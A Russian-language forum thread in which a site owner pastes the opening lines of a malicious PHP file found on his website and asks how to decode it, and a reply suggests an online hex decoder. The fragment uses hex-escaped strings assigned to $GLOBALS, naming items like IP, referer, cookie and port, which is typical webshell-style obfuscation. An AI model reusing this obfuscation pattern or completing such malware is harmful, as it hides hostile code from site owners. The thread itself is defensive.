Чем можно расшифровать такой php код?

Question

[Anton]

На сайте обнаружен зловред файл, а внутри вот такой код:

<?php
${"\x47\x4c\x4f\x42\x41LS"}["ki\x72g\x6c\x68\x72d"] = "\x69\x70";
${"\x47\x4c\x4fB\x41L\x53"}["f\x6aze\x76k"] = "\x72e\x66\x65\x72\x65r";
${"\x47\x4cO\x42A\x4cS"}["\x78\x6a\x63\x63\x72\x78fv\x66\x6e\x79"] = "\x66\x75\x6e\x63";
${"\x47\x4cOB\x41\x4c\x53"}["\x79t\x6bo\x6c\x6ej"] = "\x68";
${"GLO\x42AL\x53"}["\x70\x74\x6f\x65\x78\x75\x7a\x76\x6apl\x6c"] = "h\x65\x61d\x65\x72s";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x69\x68\x63\x6a\x79p\x6d"] = "re\x73";
${"G\x4cO\x42A\x4c\x53"}["\x70u\x6f\x6e\x6fm"] = "h\x5f\x64\x65\x74\x65c\x74e\x64";
${"\x47\x4cO\x42A\x4cS"}["\x7a\x66e\x69\x67\x76\x67\x6ar"] = "\x64a\x74\x61";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x6b\x6c\x78ad\x65\x74q\x66\x78\x75"] = "\x76";
${"G\x4c\x4f\x42AL\x53"}["\x6d\x74\x66b\x6c\x6b\x6d\x6exr"] = "\x6b";
${"\x47\x4c\x4fB\x41L\x53"}["\x69\x69il\x6c\x6dj\x6d\x75"] = "\x63oo\x6bi\x65";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x7a\x67\x73\x75\x66yp\x66\x6c\x64"] = "\x72\x65\x71\x75e\x73t";
${"\x47\x4c\x4fB\x41L\x53"}["vj\x72\x70\x6c\x77\x6a\x70p"] = "\x74\x69m\x65\x6f\x75\x74";
${"\x47L\x4f\x42A\x4c\x53"}["\x6a\x74oj\x65\x65ru"] = "\x65\x72\x72\x6e\x6f";
${"\x47\x4c\x4fBA\x4c\x53"}["\x68yh\x6b\x6c\x6e\x63\x6c\x65"] = "sc\x68\x65\x6d\x65";
${"\x47\x4cO\x42\x41\x4cS"}["r\x74\x75u\x67hr\x76\x68"] = "f\x70";
${"\x47L\x4fB\x41\x4cS"}["\x6fvuc\x61\x62"] = "\x70\x61ra\x6d\x73";
${"G\x4cOBAL\x53"}["\x65\x71\x65\x66\x74\x69"] = "\x74\x79\x70\x65";
${"G\x4cO\x42\x41L\x53"}["\x78hx\x78\x6fdag"] = "\x66\x69\x6c\x65\x6e\x61m\x65";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x77\x6d\x79\x6bc\x73\x66w"] = "\x70\x6fr\x74";

Ясно что имена изменены используя код Ascii.

Вопрос в том может есть способ расшифровать это, онлайн сервис?

Буду признателен за помощь.

Answer 1

[Reistlin]

проверьте: ddecode.com/hexdecoder

Comments

[Anton]

Спасибо! а то я уперся что это ascii коды... и все тут... )